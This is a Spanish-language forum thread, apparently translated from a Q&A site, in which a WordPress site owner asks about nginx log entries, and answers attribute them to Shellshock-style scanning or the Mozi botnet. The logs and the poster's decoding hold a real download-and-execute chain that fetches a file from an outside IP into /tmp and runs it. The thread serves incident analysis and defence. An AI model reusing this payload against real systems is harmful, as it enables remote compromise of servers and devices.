¿Qué tipo de intento de piratería es este? Acceder a un archivo shell inexistente desde una URL inexistente

4 minutos de lectura

Uso WordPress en mi sitio, recientemente bloqueé a un hacker que infectó mi sitio con MUCHAS puertas traseras (miles de puertas traseras, literalmente). Dedico un mes y medio a apostarle. No fue mi culpa, el tipo que estaba en mi trabajo antes que yo nunca había actualizado el sitio.

Después de esto, noté un acceso extraño a archivos que simplemente no existen, y creo que el pirata informático está tratando de encontrar vulnerabilidades conocidas de los complementos de wordpress que no uso. Está bien, no me importa en absoluto. Pero uno de esos intentos me llamó la atención.

95.249.95.104 - - [17/Jan/2020:10:17:29 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"
94.200.107.2 - - [17/Jan/2020:13:52:28 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"
197.226.122.184 - - [17/Jan/2020:14:57:36 -0300] "karin***com.br" "GET /shell?cd+/tmp;rm+-rf+.j;wget+http:/\x5C/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE HTTP/1.1" 400 552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" "-"

Estoy ocultando parte de la URL, lo siento.

Las IP siempre cambian, incluso con solicitudes consecutivas con menos de un segundo de diferencia, tal vez un DDoS. El user-agent suele cambiar también, aquí hay de todo: iPhone, iPad, Android, Windows 7, 8, 10, Firefox, Google Chrome, Internet Explorer… Pero Linux y Mac. Esas 3 solicitudes son la única excepción.

Noté que hay algunos comandos de shell en la URL. Estos:

cd /tmp;
rm -rf .j;
wget http://91.92.66.124/..j/.j;
chmod 777 .j;
sh .j;
echo DONE HTTP/1.1

No hay ninguna carpeta o archivo con este nombre en mi directorio /tmp.

Esta URL de “karin” era un sitio antiguo que no existe desde hace mucho tiempo. No sé cómo conoce esta URL, ni siquiera yo lo sabía. Cada vez que trato de acceder a alguna URL que está configurada en NGINX, pero la ruta no existe como esta Karin, obtengo un error 404. Pero esos intentos dieron 400 errores.

404 es normal, es porque aquí no hay nada. Pero 400? Significa que hay algo aquí, pero no pudo procesar los datos enviados. Quité la configuración de nginx a esta URL y la probé en otras URL. Siempre recibí un error 404, probé esto:

***.***.***.*** - - [17/Jan/2020:15:29:20 -0300] "joa***com.br" "GET /shell?cd+/var/www/html/conf;mkdir+teste HTTP/1.1" 404 555 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" "-"

Entonces mi pregunta es: ¿Debería tener miedo de que estos comandos devuelvan un error 400 en esta URL? ¿Por qué no puedo reproducir esto? Aparentemente, esos intentos fallaron, ¿debería estar seguro de que fallaron? ¿Qué tipo de ataque es este? Nunca escuché acerca de una “inyección de script de shell por URL” como esta.

  • parece que podría ser en.wikipedia.org/wiki/Shellshock_(software_bug). Un 404 es lo que quieres. Este tipo de ataques aleatorios de conducción están automatizados y son una parte normal del ruido de fondo de Internet.

    – ceejayoz

    17 de enero de 2020 a las 19:34


  • Gracias por publicar este ejemplo, podría ser útil para otras personas que encuentren cosas similares. Aunque Shellshock ya debería estar muerto, todos sabemos que hay muchos servidores sin parches y nunca se sabe cuándo se sienta frente a un registro tan extraño para ayudar a otra persona.

    – JJ

    17 de enero de 2020 a las 19:52

Es un escaneo automático hecho por scripts que buscan servidores web con bashdoor vulnerabilidades.

Puede, como precaución, bloquear todas las URL que contengan palabras como shell. Este tipo de escaneo es común y un firewall de servidor web puede manejar fácilmente la prevención de ataques.

  • Las correcciones para la vulnerabilidad han estado disponibles desde 2014, por lo que no usaría un instrumento tan contundente como bloquear cualquier mención de “shell”. Odiaría meses después hacer una shell.html y me pregunto por qué no funciona.

    – ceejayoz

    17 de enero de 2020 a las 19:52

  • En mi caso, estoy seguro de que nadie usará un archivo llamado shell, así que usaré su sugerencia. Pero, ¿cuál es la mejor opción para bloquear esos intentos? Mi servidor comenzó en 2017, por lo que, naturalmente, debería tener los parches.

    – Ángel EX.

    17 de enero de 2020 a las 20:03


  • @ÁngelEX. Querrá buscar en la herramienta conocida como fail2ban.

    – ceejayoz

    20 de enero de 2020 a las 16:00

Esto parece una solicitud del Red de bots Moziuna botnet que busca shells de puerta trasera en dispositivos IoT.

¿Ha sido útil esta solución?